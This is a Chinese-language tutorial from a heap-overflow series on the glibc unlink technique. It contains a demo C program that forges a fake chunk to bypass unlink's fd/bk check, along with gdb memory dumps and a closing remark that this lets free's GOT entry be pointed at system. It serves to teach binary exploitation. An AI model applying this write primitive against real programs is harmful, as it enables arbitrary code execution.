![3d75cf73-6917-eb11-8da9-e4434bdf6706.png](http://p02.5ceimg.com/content/3d75cf73-6917-eb11-8da9-e4434bdf6706.png)
本文是二进制安全之堆溢出系列的第五章节,主要介绍unlink。
源程序
#include <stdio.h>
#include <malloc.h>
#include <unistd.h>
#include <string.h>
long long list[30]={0};
int main()
{
char *p = malloc(0x80);
char *q = malloc(0x80);
char *r = malloc(0x80);
sleep(0);
printf("%pn",list);
list[0] = p;
sleep(0);
printf("%pn",&p);
*(long *) p = 0;
*(long *) (p+8) = 0x81;
*(long *) (p+16) = list - 0x3;
*(long *) (p+24) = list - 0x2;
*(long *) (q-16) = 0x80;
*(long *) (q-8) = 0x90;
sleep(0);
free(q);
sleep(0);
strcpy(list[0],"111111111111111111111111x38x10x60");
//由于list指向了list-0x18的位置,所以需要0x18个1来填充
sleep(0);
strcpy(list[0],"dddddddd");
//相当于*list[0] = "dddddddd"
malloc(0);
sleep(0);
return 0;
}
调试
- 初始堆的情况
0x602000 PREV_INUSE { ----> p
prev_size = 0,
size = 145,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602090 PREV_INUSE { ---> q
prev_size = 0,
size = 145,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602120 PREV_INUSE { --->r
prev_size = 0,
size = 145,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6021b0 PREV_INUSE { --->top chunk
prev_size = 0,
size = 134737,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
list[0] = p
之后list
的内存布局
0×601080 <list>: 0×0000000000602010 0×0000000000000000
打印p
的地址
0x7fffffffdc20
p
堆块改头换面
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x0000000000000000 0x0000000000000081 --->从这里开始改造
0x602020: 0x0000000000601068 0x0000000000601070 --->list - 0x18 list - 0x10
0x602030: 0x0000000000000000 0x0000000000000000
q
堆块改头换面
原始的q堆块
0x602090: 0x0000000000000080 0x0000000000000091 --->Pre_inuse为1,表示p堆块正在使用中
0x6020a0: 0x0000000000000000 0x0000000000000000
改造后q堆块
0x602090: 0x0000000000000080 0x0000000000000090 -->更改p堆块的size以及inuse状态,便于合并及unlink
0x6020a0: 0x0000000000000000 0x0000000000000000
此时达到的效果,当free q
的时候,就会前向合并,触发unlink
free q
之后
0x602000 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x0,
bk = 0x111,
fd_nextsize = 0x7ffff7dd1b78 <main_arena+88>,
bk_nextsize = 0x7ffff7dd1b78 <main_arena+88>
}
0x602090 {
prev_size = 128,
size = 144,
fd = 0x0, ===>指向0
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602120 {
prev_size = 272, ===>从这里可以看出p,q合并了
size = 144,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
list[0]
第一次赋值
0x601080 <list>: 0x0000000000601038 0x0000000000000000
此时0x601038
的内容
0x601038: 0x00007ffff7a91130 0x00007ffff7ad9230
0x601048: 0x0000000000000000 0x0000000000000000
0x601058: 0x0000000000000000 0x0000000000000000
0x601068: 0x3131313131313131 0x3131313131313131
0x601078: 0x3131313131313131 0x0000000000601038
0x601088 <list+8>: 0x0000000000000000 0x0000000000000000
list[0]
第二次赋值
0x601080 <list>: 0x0000000000601038 0x0000000000000000
此时0x601038
的内容
0x601038: 0x6464646464646464 0x00007ffff7ad9200 ==>我们写入的dddddddd到了这里
0x601048: 0x0000000000000000 0x0000000000000000
0x601058: 0x0000000000000000 0x0000000000000000
0x601068: 0x3131313131313131 0x3232323232323232
0x601078: 0x3333333333333333 0x0000000000601038
0x601088 <list+8>: 0x0000000000000000 0x0000000000000000
原理
绕过检查的方式
p ->fd = list[0] - 0x18
p ->bk = list[0] - 0x10
list[0] = p
为什么这样就饶过检查了呢
检查的原理:
p->fd->bk = p && p->bk->fd = p
简单的加法:
p->fd->bk = p->fd+0x18 = list[0] = p
p->bk->fd = p->bk+0x18 = list[0] = p
unlink的操作实现了什么效果
断链的操作:p->fd->bk = p->bk && p->bk->fd = p->fd
方程组解析:
因为:
p->fd->bk = *(list[0] - 0x18 + 0x18) # 理解这一点至关重要,可以把p->fd理解为一个指针
p->fd->bk = p->bk
p->bk = list[0] - 0x10
所以:*(list[0]) = list[0] - 0x10
同理:*(list[0]) = list[0] - 0x18
效果:
list[0]指向了低三个指针长度的内存空间
现在编辑list[0],就相当于更改低三个指针长度的内存空间(L)的内容
假设现在list[0] = free_got,*L = system,当再次free一个堆块的时候,就会调用system。
![4175cf73-6917-eb11-8da9-e4434bdf6706.png](http://p03.5ceimg.com/content/4175cf73-6917-eb11-8da9-e4434bdf6706.png)